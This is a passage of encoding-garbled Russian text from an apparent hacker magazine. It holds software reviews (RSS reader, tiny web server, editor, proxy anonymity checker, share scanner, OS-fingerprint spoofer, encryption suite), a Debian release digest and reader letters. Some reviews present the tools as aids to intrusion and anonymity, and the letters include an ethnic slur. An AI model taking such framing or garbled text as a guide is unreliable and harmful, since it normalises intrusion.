ôåéñ (ïîìèìî ñòðîêè
ñ òåêóùèì ñîñòîÿíè-
åì) ñîñòàâëÿþò òðè
ïàíåëè: ñïèñîê RSS-
ëåíò, çàãîëîâêè îò
âûáðàííîãî èñòî÷íè-
êà è ñîäåðæèìîå îä-
íîãî èç ýëåìåíòîâ.

Ïðè ïåðåõîäå ê ÷òåíèþ îäíîé èç íîâîñòåé è íàæàòèè Enter, âìåñòî rag-
gle â êîíñîëè, îòêðûâàåòñÿ lynx ñ çàãðóæåííûì àäðåñîì, íà êîòîðûé
ññûëàëñÿ RSS; ïîñëå âûõîäà èç lynx âîçîáíîâëÿåò ñâîþ ðàáîòó raggle.
Ïðîãðàììà ïîääåðæèâàåò ðàçíûå âåðñèè RSS, èìïîðò/ýêñïîðò ôàéëîâ
â ôîðìàòå OPML, èíòåãðàöèþ ñ Syndic8, à òàêæå HTTP-ïðîêñè è àóòåí-
òèôèêàöèþ. Ïðåäóñìîòðåíà ñèñòåìà çàêëàäîê è íàñòðàèâàåìûå ïðè-
âÿçêè êëàâèø ê äåéñòâèÿì � ðàáîòà â ïðîãðàììå ìàêñèìàëüíî óïðî-
ùåíà áëàãîäàðÿ âîçìîæíîñòè âûïîëíåíèÿ ìíîãèõ îïåðàöèé íàæàòèåì
îäíîé êíîïêè (ïîìåòêà ñîîáùåíèé êàê ïðî÷èòàííûå/íåïðî÷èòàííûå,
äîáàâëåíèå/óäàëåíèå ëåíòû, ïåðåêëþ÷åíèå ìåæäó îêíàìè è ò.ï.). Ïðè-
ñóòñòâóåò ïîèñê ïî ñîäåðæèìîìó òåêóùåé RSS-áàçû, à òàêæå èíòåãðè-
ðîâàíà ñèñòåìà íàõîæäåíèÿ RSS-êàíàëîâ â èíòåðíåòå ïî çàäàííîìó
çàïðîñó. Ðàçâèòà ïîääåðæêà êîíñîëüíûõ ïàðàìåòðîâ ïðè çàïóñêå ïðè-
ëîæåíèÿ: ÷åðåç íèõ ìîæíî, íàïðèìåð, ïðîñìàòðèâàòü è ðåäàêòèðîâàòü
ñïèñîê êàíàëîâ. Ïîìèìî èíòåðôåéñà íà áàçå ncurses, èäåò ðàçðàáîòêà
è web-âåðñèè, íî ïîêà äàííàÿ ðåàëèçàöèÿ íàõîäèòñÿ â ñòàäèè áåòà.

darkhttpd v 1.2
*BSD, Linux, Solaris
Size (â .bz2): 15 ÊÁ
http://dmr.ath.cx/net/darkhttpd
Ëèöåíçèÿ: BSD

Ñëîãàí darkhttpd
î÷åíü åìêî è òî÷íî
îòîáðàæàåò âñþ çà-
äóìêó ïðîåêòà: When
you need an httpd in a
hurry (êîãäà âàì
ñðî÷íî íóæåí httpd).
Äàííûé web-ñåðâåð
ñîñòîèò âñåãî èç îä-
íîãî íåáîëüøîãî
ôàéëà íà Ñè, êîòî-
ðûé ãîòîâ ê çàïóñêó
ñðàçó ïîñëå êîìïè-
ëÿöèè. Â êà÷åñòâå

åäèíñòâåííîé îáÿçàòåëüíîé îïöèè òðåáóåòñÿ óêàçàíèå êîðíåâîãî
êàòàëîãà. Ñåðâåð ñàì ñîçäàåò ñïèñêè íàõîäÿùèõñÿ â äèðåêòîðèè
ôàéëîâ (àíàëîãè÷íî îïöèè Indexes ó Apache), îòîáðàæàåò òîëüêî
ñòàòè÷íûå HTML-äîêóìåíòû (íèêàêèõ CGI, PHP è ò.ï.), ïîääåðæèâà-
åò HTTP-çàïðîñû GET è HEAD, ñîåäèíåíèÿ Keep-Alive, «÷àñòè÷íîå
ñîäåðæèìîå» (íàïðèìåð, äîêà÷êó ôàéëîâ). Â FreeBSD è Linux èñ-
ïîëüçóåòñÿ sendfile(), à äëÿ FreeBSD åùå è acceptfilter. Ñåðâåð àâòî-
ìàòè÷åñêè îòáðàñûâàåò áåçäåéñòâóþùèå ïîäêëþ÷åíèÿ. Åñòü ôóíê-
öèÿ ëîãèðîâàíèÿ âñåõ çàïðîñîâ, îãðàíè÷åíèå ìàêñèìàëüíîãî ÷èñëà
ïîäêëþ÷åíèé, chroot, çàùèòà îò ïîääåëüíûõ çàïðîñîâ ñ "../". Ïðè çà-
ïóñêå òàêæå ìîæíî çàäàòü íîìåð ïîðòà, IP-àäðåñ (åñëè íà ìàøèíå
íåñêîëüêî ñåòåâûõ èíòåðôåéñîâ), çàãðóæàåìóþ ïî óìîë÷àíèþ
ãëàâíóþ ñòðàíèöó êàòàëîãà (index.html), uid è gid äëÿ ïðîöåññà,
ôàéë ñ ïåðå÷íåì òèïîâ MIME.

Minimum Profit v 3.3.14
POSIX, Windows
Size (â .bz2): 265 ÊÁ
www.triptico.com/software/mp.html
Ëèöåíçèÿ: GNU GPL

Minimum Profit �
òåêñòîâûé ðåäàêòîð
äëÿ ïðîãðàììèñòîâ
ñ èíòåðôåéñàìè
ncurses (êîíñîëü-
íûé) è GTK+ (ãðàôè-
÷åñêèé; ïîääåðæè-
âàþòñÿ âåòêè 1.2 è
2.0). Îáå âåðñèè îñ-
íàùåíû âîçìîæ-
íîñòüþ îäíîâðåìåí-
íîé ðàáîòû ñ íåñ-
êîëüêèìè ôàéëàìè

è êîïèðîâàíèåì ÷àñ-
òåé òåêñòà èç îäíîãî
â äðóãîé (â êîíñîëè
ïåðåêëþ÷åíèå îñó-
ùåñòâëÿåòñÿ ÷åðåç
ñïèñîê îòêðûòûõ â
äàííûé ìîìåíò ôàé-
ëîâ, âûçûâàåìûé ïî
Ctrl+o, à â GTK+
ïðåäñòàâëåíû è òà-
áû). Ïðèñóòñòâóþò
ñòàíäàðòíûå ôóíê-
öèè ïîèñêà ïî òåêñòó
è çàìåíû ñ ðåãóëÿð-

íûìè âûðàæåíèÿìè, áûñòðîãî ïåðåìåùåíèÿ ïî ñîäåðæèìîìó (ê
ñëåäóþùåìó/ïðåäûäóùåìó ñëîâó, ê çàäàííîé íîìåðîì ñòðîêå). Â
ôàéë ëåãêî äîáàâëÿåòñÿ âûâîä ïðîèçâîëüíîé êîíñîëüíîé êîìàíäû,
à ñ ïîìîùüþ Execute editor function âûçûâàþòñÿ ðàçëè÷íûå âñòðî-
åííûå ôóíêöèè ðåäàêòîðà (óâåëè÷åíèå/óìåíüøåíèå ðàçìåðà
øðèôòà, ñîðòèðîâêà ñòðîê, ïðîñìîòð ëîãà è ò.ï.). Ïðîãðàììèñòàì
æå ïðåäëàãàåòñÿ ïîäñâåòêà ñèíòàêñèñà äëÿ íàèáîëåå ïîïóëÿðíûõ
ÿçûêîâ (C/C++, Perl, PHP, Shell, Ruby, Python è äð.), ñèñòåìà òåãîâ
(äëÿ ðàáîòû ñ ôóíêöèÿìè è ïåðåìåííûìè â êîäå ïðîãðàììû) è ñïå-
öèàëüíàÿ ïîìîùü: íàïðèìåð, ïðè ðåäàêòèðîâàíèè Perl-ñêðèïòà íà-
æàòèå íà F1 ïðè îñòàâëåííîì íà êàêîé-òî ôóíêöèè êóðñîðå ïðèâî-
äèò ê âûçîâó ñïðàâêè ïî íåé èç perldoc. Êðîìå òîãî, ïîääåðæèâàþò-
ñÿ øàáëîíû äëÿ äîêóìåíòîâ è çàùèòà ôàéëîâ ïî ïàðîëþ (èñïîëü-
çóåòñÿ àëãîðèòì ARCFOUR).

OSS Release Digest: 
Debian 3.1 "Sarge"
Ýòîãî ðåëèçà æäàëè ïî÷òè 3 ãîäà, åãî íåîäíîêðàòíî îòêëàäûâàëè,
íî ïðîåêò Debian íàêîíåö-òî ïðåäñòàâèë íîâóþ ñòàáèëüíóþ âåðñèþ
ñâîåãî ïîïóëÿðíîãî Linux-äèñòðèáóòèâà � Debian GNU/Linux 3.1 ïîä
êîäîâûì íàçâàíèåì Sarge. Debian 3.1 çàíèìàåò îáúåì äâóõ DVD
(èëè 14 CD), è ïîìèìî çíà÷èòåëüíîãî (!) îáíîâëåíèÿ âñåõ âõîäÿùèõ
â äèñòðèáóòèâ ïàêåòîâ, ñîçäàòåëÿìè áûëà ïðîâåäåíà êîëîññàëüíàÿ
ðàáîòà íàä óëó÷øåíèåì ìíîãèõ êîìïîíåíòîâ ñèñòåìû. Òàê, íàïðè-
ìåð, ðàçðàáîòàí «èíòåëëåêòóàëüíûé» èíñòàëëÿòîð, îáëàäàþùèé
ìîäóëüíîé ñòðóêòóðîé è àâòîîïðåäåëåíèåì óñòðîéñòâ. Âïåðâûå â
íàáîð ïàêåòîâ âîøåë îòêðûòûé îôèñíûé ïàêåò OpenOffice.org, à
òàêæå â Debian 3.1 ïîÿâèëèñü ïåðâûå ðåçóëüòàòû ðàáîòû äî÷åðíèõ
ïðîåêòîâ Debian-Edu/Skolelinux, Debian-Med è Debian-Accessibility.

Èç äðóãèõ ðåëèçîâ: Bochs 2.2, KDE 3.4.1, Firefox 1.1 Deer Park
Alpha 1 è Thunderbird 1.1 Alpha 1, Debian 3.0r6, Xandros Business
Desktop 3.0, RHEL 4 Update 1, Fedora Core 4, PHP 5.1 Beta 1,
CentOS 4.1, GNU/DOS 2005, GTK+ 2.7.0, KOffice 1.4, OpenPKG 2.4,
KNOPPIX 4.0, Qt 4.0.



Advanced 
AdministrativeTools 5.81
ShareWare
Size: 2.91 Ìá
www.glocksoft.com

Advanced Administrative Tools ïðåäñòàâëÿåò ñîáîé îòëè÷íûé íàáîð
óòèëèò äëÿ ñèñòåìíîãî àäìèíèñòðàòîðà: óäîáíûé ñêàíåð ïîðòîâ,
ïðîäâèíóòûé traceroute, whois-ñåðâèñ. Îäíàêî íàèáîëüøèé èíòåðåñ
ïðåäñòàâëÿåò òóëçà Proxy Analyzer. Ïðèçíàòüñÿ, ýòî ñàìàÿ íàâîðî÷åí-
íàÿ, áûñòðàÿ è óäîáíàÿ ïðîãðàììà äëÿ ïðîâåðêè ïðîêñè- è ñîêñ-ñåð-
âåðîâ, êîòîðóþ ÿ òîëüêî âèäåë. Ðàáîòàòü ñ óòèëèòîé � îäíî óäîâîëü-
ñòâèå. Ïðîêñè-ñåðâåðû ìîæíî áåç òðóäà ââåñòè âðó÷íóþ èëè æå èì-
ïîðòèðîâàòü èç ôàéëà. Ïðè ýòîì ïðîãà ñàìîñòîÿòåëüíî îòôèëüòðóåò
íåêîððåêòíûå IP-àäðåñà è óäàëèò ïîâòîðû. Îáúåì ïðîêñè-ëèñòà äëÿ
Proxy Analyzer � íåâàæåí. Îí ñ ëåãêîñòüþ «ñëîïàåò» êàê íåáîëüøîé
ôàéë, òàê è îãðîìíûé ñïèñîê, ñîñòîÿùèé èç äåñÿòêà òûñÿ÷ çàïèñåé.
Ïîäîáíî ìíîãèì äðóãèì ïðîãðàììàì, Proxy Analyzer èñïîëüçóåò ìíîãî-
ïîòî÷íóþ ïðîâåðêó, ïðè÷åì íóæíîå êîëè÷åñòâî ïîòîêîâ è âðåìÿ òàéìà-
óòà ìîæíî óñòàíîâèòü âðó÷íóþ. Ïðîöåññ ñêàíèðîâàíèÿ ïðè íåîáõîäè-
ìîñòè ìîæåò áûòü ïðèîñòàíîâëåí è ïîçæå ïðîäîëæåí â ëþáîå âðåìÿ.
Ñàìûé æå ñìàê ïðîãðàììû çàêëþ÷àåòñÿ â ñïåöèàëüíîé ãðàäàöèè ïðîê-
ñè-ñåðâåðîâ, îïðåäåëÿþùåé ñòåïåíü èõ àíîíèìíîñòè. Áëàãîäàðÿ ñïå-
öèàëüíûì îáîçíà÷åíèÿì ñðàçó ñòàíîâèòñÿ ÿñíî, êàê ïðîêñÿ ÿâëÿåòñÿ
ïðîçðà÷íîé (ïðîäîëæàåò ñâåòèòü òâîé IP-àäðåñ), êàêàÿ � àíîíèìíîé
(ïðÿ÷åò IP, íî âûäàåò ñâîåé ïðèñóòñòâèå), à êàêàÿ ñîõðàíÿåò ïîëíóþ
àíîíèìíîñòü (òàê íàçûâàåìûå ýëèòíûå ïðîêñè). Â ïîñëåäíåì ñëó÷àå
óäàëåííûé êîìïüþòåð äàæå íå ïîäîçðåâàåò, ÷òî èìååò äåëî ñ êëèåí-

òîì, ðàáîòàþùèì ÷åðåç proxy � äëÿ íåãî ýòî îáû÷íîå ïîëüçîâàòåëüñ-
êîå ïîäêëþ÷åíèå. Âñå ðåçóëüòàòû ïðîâåðîê íàãëÿäíî ïðåäñòàâëåíû â
âèäå èíôîðìàòèâíîé òàáëèöû, â êîòîðîé îñîáîå âíèìàíèå íóæíî óäå-
ëèòü ïîëþ «ðåéòèíã». Äëÿ êàæäîãî òåñòèðóåìîãî ñåðâåðà Proxy Analyzer
îïðåäåëÿåò ðåéòèíã àíîíèìíîñòè, ðàññ÷èòûâàåìûé ïî ðåçóëüòàòàì
àíàëèçà òèïà ïðîêñè, âðåìÿ ñêîðîñòè, ïîääåðæêè FTP/SSL. Ïðîêñÿìè ñ
ðåéòèíãîì 100 è âûøå ìîæíî ïîëüçîâàòüñÿ áåç îïàñêè. [X
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ShareEnum
FreeWare
Size: 35 Êá
www.sysinternals.com/Utilities/ShareEnum.html 

Êàæäûé ïîëüçîâàòåëü çíàåò, ÷òî òàêîå îáùèå ðåñóðñû (øàðû).
Êàæäûé âòîðîé ñ÷èòàåò íåîáõîäèìûì ðàñøàðèòü âåñü âèíò, âêëþ-
÷àÿ ñèñòåìíûå äèñêè � ýòî àêñèîìà :). Ðàçðàáîò÷èêè ÎÑ èçäàâíà
ïûòàþòñÿ îáåçîïàñèòü ïîëüçîâàòåëÿ îò ïîäîáíûõ ãëóïîñòåé. Òàê,
åùå âî âðåìåíà Windows 9x/Me þçåð ìîã óñòàíîâèòü ïàðîëü íà ðàñ-
øàðåííûå ðåñóðñû è òåì ñàìûì îãðàíè÷èòü ê íèì äîñòóï, îäíàêî,
îáîéòè òàêóþ çàùèòó ìîæíî áûëî çà íåñêîëüêî ìèíóò. Â
Win2k/2003/XP êîíòðîëü íàä îáùèìè ðåñóðñàìè çíà÷èòåëüíî óæåñ-
òî÷èëñÿ. Êàæäîìó îáúåêòó ôàéëîâîé ñèñòåìû îòíûíå çàäàåòñÿ ñïå-
öèàëüíûé ñïèñîê óïðàâëåíèÿ äîñòóïà (Access Control List � ACL), â
êîòîðîì ïîëüçîâàòåëü âïðàâå îáîçíà÷èòü ïîëèòèêó áåçîïàñíîñòè.
Òî åñòü êîíêðåòíî óêàçàòü, êàêèå ïîëüçîâàòåëè è êàêîé äîñòóï èìå-
þò ê äàííîìó ñåòåâîìó ðåñóðñó.
Êàê ïîêàçàëà ïðàêòèêà, è çäåñü ìîæíî íàéòè èçúÿí. Âî-ïåðâûõ,
ôóíêöèÿ ACL ïî óìîë÷àíèþ îòêëþ÷åíà è ïîëüçîâàòåëÿì ïðèõîäèò-
ñÿ äîâîëüñòâîâàòüñÿ óïðîùåííîé ñèñòåìîé ñîçäàíèÿ ñåòåâûõ ïà-
ïîê. À âî-âòîðûõ, ãðàìîòíî ïðîïèñàòü ïðàâà ïîä ñèëó äàëåêî íå
êàæäîìó (ýòî âñå îòòîãî, ÷òî îíè íå ÷èòàëè ñòàòüþ «Áåçîïàñíûå
øàðû» â #65 íîìåðå Õ). Ïîýòîìó ïîëàêîìèòüñÿ âêóñíûìè øàðàìè
çëîóìûøëåííèê ìîæåò è ñåé÷àñ, îñîáåííî åñëè ïîëó÷èò äîñòóï â
êàêóþ-íèáóäü êîðïîðàòèâíóþ ñåòü.
Ñðåäè ìàññû óòèëèò äëÿ ïîèñêà îòêðûòûõ ðåñóðñîâ, îñîáåííî âû-
äåëÿåòñÿ ïðîãà ShareEnum. Ôèøêà çàêëþ÷àåòñÿ â òîì, ÷òî îíà íå
òîëüêî èùåò (è äàæå � íàõîäèò) îòêðûòûå ðåñóðñû, íî åùå è ïîêà-
çûâàåò óñòàíîâëåííûå íà íèõ ïðàâà äîñòóïà, óïîëíîìî÷åííûõ íà
÷òåíèå è çàïèñü ïîëüçîâàòåëåé.
Èñïîëüçóÿ NetBIOS, ShareEnum ñêàíèðóåò âñå êîìïüþòåðû âíóòðè
òåêóùåãî äîìåíà � äëÿ êàæäîãî èç íèõ îòîáðàæàåòñÿ ñïèñîê ñåòå-
âûõ ðåñóðñîâ è òåêóùèå ïîëèòèêè áåçîïàñíîñòè. Íåçàìåíèìûé
èíñòðóìåíò, åñëè íóæíî íàéòè áðåøü â áåçîïàñíîñòè, èñïîëüçîâàòü
èëè, íàïðîòèâ, óñòðàíèòü åå. Åäèíñòâåííàÿ ïðîáëåìà � íóæíû ïðà-
âà àäìèíèñòðàòîðà äîìåíà. Îíî è ïîíÿòíî � ïîëíîìî÷èÿ äëÿ ÷òå-
íèÿ ACL èìååò òîëüêî îí.

r57.BF � Broken Fingers 1.2
FreeWare
Size: 205 Êá
rst.void.ru

Íå ñåêðåò, ÷òî íåêî-
òîðûå ñêàíåðû áåçî-
ïàñíîñòè âðîäå íå-
áåçûçâåñòíîãî nmap'à
óìåþò îïðåäåëÿòü òèï
è èíîãäà äàæå âåð-
ñèþ ÎÑ, óñòàíîâëåí-
íîé íà óäàëåííîé ìà-
øèíå. Âñå îíè ðàáî-
òàþò ïî îäíîìó è òî-
ìó æå ïðèíöèïó ñíÿ-
òèÿ îòïå÷àòêîâ TCP/IP
ñòåêà (òàê íàçûâàå-
ìûé OS Fingerprint).

Áîëüøèíñòâî îïåðàöèîííûõ ñèñòåì èìååò ñóãóáî èíäèâèäóàëüíûå
ïàðàìåòðû íàñòðîåê TCP/IP, ïîýòîìó äëÿ îïðåäåëåíèÿ òèïà è âåð-
ñèè ÎÑ äîñòàòî÷íî ïðîñòî ñ÷èòàòü èõ  óäàëåííûìè ñ ìàøèíû è ïðî-

áèòü ïî çàðàíåå ïîäãîòîâëåííîé áàçå.
Íàïðàøèâàåòñÿ âîïðîñ � ÷åì æå òîãäà çàíèìàåòñÿ îáîçíà÷åííàÿ
óòèëèòà? Âñå ïðîñòî: r57.BF ïîçâîëÿåò ïðåäîòâðàòèòü ïîäîáíîãî
ðîäà ñêàíèðîâàíèÿ. Êîíå÷íî, ïîëíîñòüþ îñòàíîâèòü ñêàíåðû íå ïî-
ëó÷èòñÿ, íî çàòî ñáèòü èõ ñ òîëêó ìîæíî áåç òðóäà. Äëÿ ýòîãî äîñòà-
òî÷íî ëèøü ïîääåëàòü ñèãíàòóðû TCP/IP ïðîòîêîëà, ÷òî áåç òðóäà
ðåàëèçóåìî ñ ïîìîùüþ r57.BF. Äëÿ èñïîëüçîâàíèÿ óòèëèòû äîñòà-
òî÷íî âûáðàòü òèï ïîäñòàâíîé ñèñòåìû (íàïðèìåð, FreeBSD 5.0),
íàæàòü íà êíîïêó Apply è óéòè â ðåáóò.
Åäèíñòâåííîå ó÷òè � çëîóïîòðåáëÿòü ñ ïîääåëêîé ïàðàìåòðîâ
TCP/IP íå ñòîèò. È õîòÿ â áàçó ïðîãðàììû âêëþ÷åíû ñèãíàòóðû
Windows9x, èñïîëüçîâàòü èõ íå ðåêîìåíäóåòñÿ. Ïàðàìåòðû TCP/IP
â ýòèõ ÎÑ áûëè íàñòîëüêî ïëîõî îïòèìèçèðîâàíû, ÷òî ìîãóò ïðè-
âåñòè ê óõóäøåíèþ ñâÿçè, â îñîáåííîñòè, Dial-UP ñîåäèíåíèé.

Steganos Security Suite 7.1.6
ShareWare
Size: 13,7 Ìá
www.steganos.com

Áåçîïàñíîñòü ïðå-
âûøå âñåãî. ß, êî-
íå÷íî, íå ñïîðþ: ìîæ-
íî âçëàìûâàòü ñåð-
âåðû áåç ïðîêñè,
õðàíèòü â îòêðûòîì
âèäå áàçû êðàäåíûõ
êðåäèòîê è èíôîð-
ìàöèþ î áàíêîâñêèõ
àêêàóíòàõ, íî îòâå-
÷àòü çà ïîäîáíóþ õà-
ëàòíîñòü áóäåøü òîëü-
êî òû. Çíà÷èòåëüíî

îáåçîïàñèòü ñåáÿ ïîìîãóò ñèñòåìû ñîêðûòèÿ è øèôðîâàíèÿ äàí-
íûõ. Íà ôîíå ìíîãèõ ñîâåðøåííî îäèíàêîâûõ è ñåðûõ óòèëèò õî-
÷åòñÿ âûäåëèòü ïàêåò Steganos Security Suite. Ýòà ïðîãðàììà ïîä-
äåðæèâàåò êðèïòîâàíèå äàííûõ «íà ëåòó», ñîõðàíÿÿ èõ íà âèðòó-
àëüíîì øèôðîâàííîì äèñêå. Ïðîöåññ øèôðîâàíèÿ ïðîèñõîäèò
î÷åíü øóñòðî, ïîýòîìó íè êîèì îáðàçîì íå âëèÿåò íà ðàáîòó â ñèñ-
òåìå. Òû ïðîñòî îáðàùàåøüñÿ ê äàííûì, êàê åñëè áû îíè ëåæàëè
íà îáû÷íîì ðàçäåëå æåñòêîãî äèñêà. Ïðè ýòîì íå íàäî îïàñàòüñÿ
çà ñîõðàííîñòü èíôîðìàöèè. Äàæå åñëè êîìïüþòåð çàâèñíåò, èëè
ïðîèçîéäåò âðåìåííîå îòêëþ÷åíèå ýëåêòðîïèòàíèÿ, çàùèòíûé ìå-
õàíèçì ïðîãðàììû ïðåäîòâðàòèò ïîòåðþ èíôîðìàöèè. Ëþáîé
øèôðîâàííûé äèñê ìîæåò áûòü ñïðÿòàí â ñèñòåìå âñåãî îäíèì
êëèêîì ìûøè. Ïðè ýòîì ðàñøèôðîâàòü äàííûå, íå èìåÿ êëþ÷à, ïî
ñóòè, íåâîçìîæíî. Âñå ïîòîìó, ÷òî Steganos Security Suite èñïîëü-
çóåò àëãîðèòì AES ñ èñïîëüçîâàíèåì 128-áèòíîãî êëþ÷à, ñëàâÿ-
ùèéñÿ ñâîåé êðèïòîñòîéêîñòüþ.
Óíèêàëüíîé âîçìîæíîñòüþ ïàêåòà ÿâëÿåòñÿ ïîääåðæêà ñòåãàíîã-
ðàôèè. Óòèëèòà ïîçâîëÿåò ñêðûâàòü çàøèôðîâàííûå äàííûå ëþ-
áîãî òèïà â ôàéëàõ .BMP è .WAV. Èñïîëüçóåòñÿ äîâîëüíî ñëîæ-
íûé àëãîðèòì, èçìåíÿþùèé LSB (Least Significant Bit � ìëàäøèé
áèò) åäèíèöû èíôîðìàöèè. Ïîëó÷àåòñÿ, ÷òî íà êàæäûå 16 áèòîâ
îðèãèíàëüíîãî ôàéëà ïðèõîäèòñÿ 1 áèò ñêðûòîé èíôîðìàöèè:
ïðîèñõîäèò èçìåíåíèÿ òîëüêî îäíîãî èç 16 áèòîâ, 15 îñòàëüíûõ
îñòàþòñÿ òî÷íî òàêèìè æå. Åñòåñòâåííî, ðàçðàáîò÷èêè ïîçàáîòè-
ëèñü, ÷òîáû ïðèìåíåíèå ïîäîáíîé òåõíîëîãèè íå âëèÿëî íà êà÷å-
ñòâî âîñïðîèçâåäåíèÿ WAV è îòîáðàæåíèÿ BMP-ôàéëîâ. Íà 700
ìåãîâîì CD ìîæíî ñêðûòü áîëåå 40 Ìá èíôîðìàöèè, ÷òî ÿâëÿåò-
ñÿ îòëè÷íûì ïîêàçàòåëåì.
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From: rslam@mail.ru
Subj: ][aker RuleZzz
Íó íàêîíå-òî ÿ íàïèñàë âàì! Íó ëàäíî ïàðó çàìåòîê ïî âàøåìó æóðíàëó: Ïåðâîå
æóðíàë ìíå âàø íðàâèòñÿ è äàæå î÷åíü âîò òîëüêî ðóáðèêó Õóìîð ìîæíî
óáðàòü óæ áîëüíî òàì âñÿêîé åðóíäû ïèøóò, çà÷åì çàáèâàòü òàêîãî êðóòîãî
æóðíàëà êàêèì-òî õëàìîì ;-). Âòîðîå ÿ ëèíóêñîèä è âñå ñòàòüè èç ðóáðèêè
UNIXOID ÿ ïåðå÷èòûâàþ ïî äåñÿòü ðàç íî âîò îäíî êîíå÷íî òàì íå õâàòàåò :( à
èìåííî Linux FAQ áûëî áû âàùå ïîëíûé RuleZzzz...!!! Òðåòüå êîíå÷íî DVD ýòî
î÷åíü õîðîøî äàæå î÷åíü íî âñå æå åùå êðó÷å áûëî áû äâóõñòîðîíÿÿ DVD,
òîãäà ìîæíî âïèõèâàòü öåëûå Linux äèñòðèáû è äàæå î÷åíü à ñêîëüêî áû ñîôòà
òàì áûëî... ìîæíî ìå÷òàòü è ìå÷òàòü. ×åòâåðòîå íàâåðíî ñàìîå ãëàâíîå ìíå íå
íðàâèòñÿ âàø íîâûé âèä æóðíàëà ñòàðûé áûë êàê-òî êðó÷å è óäîáíåå íà ìíîãî,
ëó÷øå íàâåðíî ïîìåíÿòü HTML ìåíþøêó âàùå äèñêà. Âîîáùåì äàâàéòå ðåáÿòà
ðàáîòàéòå óäîâëåòâîðèòå æåëàíèå ïîëüçîâàòåëÿ ;-). Âàø ïîêîðíûé ÷èòàòåëü

RE: Äîðîãîé íàø ïîêîðíûé ÷èòàòåëü! Ñïåøó ñîîáùèòü, ÷òî íàì òîæå î÷åíü
íðàâÿòñÿ òå, êîìó íðàâèòñÿ íàø æóðíàë. È åùå áîëüøå íàì íðàâèòñÿ
ïîëó÷àòü ïèñüìà ñ êîíñòðóêòèâíûìè ïðåäëîæåíèÿìè. Âñå çàìå÷àíèÿ ÿ
îáÿçàòåëüíî äîâåäó äî ñâåäåíèÿ êîìïåòåíòíûõ ëèö (ñëûøèòå, âû, ÷èòàòåëü
âàì ïðåäëàãàåò âçÿòüñÿ çà óì!), à âîò ïî ïîâîäó Õóìîðà... Íå âñå òàì òàê
ïðîñòî. Ñàì æå ïîíèìàåøü, äðóæíîìó àâòîðñêî-ðåäàêòîðñêîìó ][-êîëëåêòèâó
òîæå âåäü íàäî ãäå-òî èñêðîìåòíî øóòèòü, ïîýòîìó è ñïåö-ðóáðèêó çàâåëè.
Ñìåøíóþ. ß è ñàì èíîãäà äî ñëåç íà÷èòàþñü è ñèæó. Òàê è æèâåì...

From: SergiuZ@yandex.ru on behalf of SergiuZ
[SergiuZ@yandex.ru]
Subj: Îáèäíî!
Çäðàâñòâóéòå ðåäàêöèÿ ñàìîãî-ñàìîãî è ò.ä. è ò.ï. Âñå ýòî ïîâòîðÿëîñü
íåîäíîêðàòíî (è ïîõîæå ïîä êîïèðêó), ïîýòîìó ïðîïóùó. Ïåðåõîæó ê
îñíîâíîé òåìå. Äåëî â òîì, ÷òî ÿ ñ Óêðàèíû è æóðíàë âàø ëþáëþ è ÷èòàþ
äàâíî è ñ ïîëüçîé (êàê è ìíîãèå óêðàèíñêèå ëàìåðû, þçåðû, êðÿêåðû,
õàêåðû è ò.ä.). Òåì áîëåå îáèäíî âèäåòü â æóðíàëå îñêîðáèòåëüíîå äëÿ
äþáîãî óêðàèíöà ñëîâî «õîõîë». Ýòî ñëîâî ÿ âñòðå÷àë â æóðíàëå è ðàíåå,
íî ïîñëåäíåé êàïëåé ñòàë ?6 çà èþíü 2005, ñòð.135, «Âåâëèîòåêà
ïðîãðàììèñòà», ôðàçà «Õîõëû çàêîëáàñèëè .....». ß, êîíå÷íî, íå
íàñòàèâàþ, íî õîòåëîñü áû óâèäåòü íà ñòðàíèöàõ æóðíàëà èçâèíåíèÿ â
àäðåñ óêðàèíñêèõ ÷èòàòåëåé. Æåëàòåëüíî áåç ñòåáà. Äî ñâèäàíèÿ.
Ç.Û. À â îáùåì êîíòåíò æóðíàëà áåç íàðåêàíèé. Òàê äåðæàòü! 

RE: SergiuZ, ðîäíîé! Âñÿ÷åñêè ñî÷óâñòâóþ òåáå, ïîíèìàþ òâîþ
îçàáî÷åííîñòü è ðàçäåëÿþ òó îáèäó, êàêîâóþ âûçûâàåò «îñêîðáèòåëüíîå
äëÿ ëþáîãî óêðàèíöà ñëîâî». Ïîíÿòíî, ÷òî íèêòî íå õîòåë áû îáèæàòü
íàøèõ óêðàèíñêèõ äðóçåé, ïðîñòî ýòî ïðîêëÿòûå ìîñêàëè íà÷èíàþùèõ
àâòîðîâ ïîäó÷èëè. Íî èì íàñ íå ïîññîðèòü! SergiuZ, ïðîñòè íàñ, ìû òàê
áîëüøå íå áóäåì. Áåç ñòåáà, ïî-âçðîñëîìó. È çàîäíî, ïîëüçóÿñü ñëó÷àåì,
ïåðåäàþ ïëàìåííûé ïðèâåò ñâîåìó êèåâñêîìó òîâàðèùó ßðèêó. Õîòÿ,
÷åñòíî ãîâîðÿ, âîò êîíêðåòíî îí � õîõîë ùèðûé :).

From: Çàòåðÿíûé Ñðåäè Âàñ [zsv-bk@list.ru]
Subj: Êðåàòèôô ïðÿìî-òàêè ïðåò
Äîáðîå âðåìÿ ñóòîê, ìíîãîóâàæàåìàÿ ðåäàêöèÿ!
Ïåðåéäó ñðàçó ê äåëó, à äåëî çàêëþ÷àåòñÿ â òîì, ÷òî ó ìåíÿ èìååòñÿ
íåñêîëüêî ðàññêàçîâ, êîòîðûå âïîëíå áû ìîãëè çàïîëíèòü ñîáîé âàøó
ðóáðèêó «Êðåàòèôô», áóäó áåçìåðíî áëàãîäàðåí è ðàä åñëè âû
ñîãëàñèòåñü èõ íàïå÷àòàòü!
Ñ óâàæåíèåì Re:act0r
P.S. Î÷åíü ïðîøó ýòî ïèñüìî íå ïóáëèêîâàòü (îñîáåííî â ðàçäåëå «ñàìîå
äóðàöêîå ïèñüìî ìåñÿöà» :))

RE: Êó, Re:act0r! Íà÷íó îòâå÷àòü ñ êîíöà: ïèñüìî òâîå, êàê ñàì âèäèøü,
ïóáëèêóåì, ãäå òû ïðîñèë, òî åñòü � ãäå íàäî. Ïî ïîâîäó ðàññêàçîâ è åùå
âñÿêîãî äðóãîãî óñòíîãî íàðîäíîãî òâîð÷åñòâà ÷èòàòåëåé ïèøó â î÷åðåäíîé
ðàç ÊÐÓÏÍÛÌÈ ÁÓÊÂÀÌÈ: ìû ÂÑÅÃÄÀ ðàäû ïîëó÷àòü îò âàñ âñåõ íå
òîëüêî òû÷êè, ïèíêè è âèðòóàëüíûå çàòðåùèíû, íî åùå è ñâÿçíûå òåêñòû,
ïîñâÿùåííûå òåìàòèêå ][. Äëÿ òîãî, ÷òîáû ïîëó÷èòü îæèäàåìûé ïðèÿòíûé
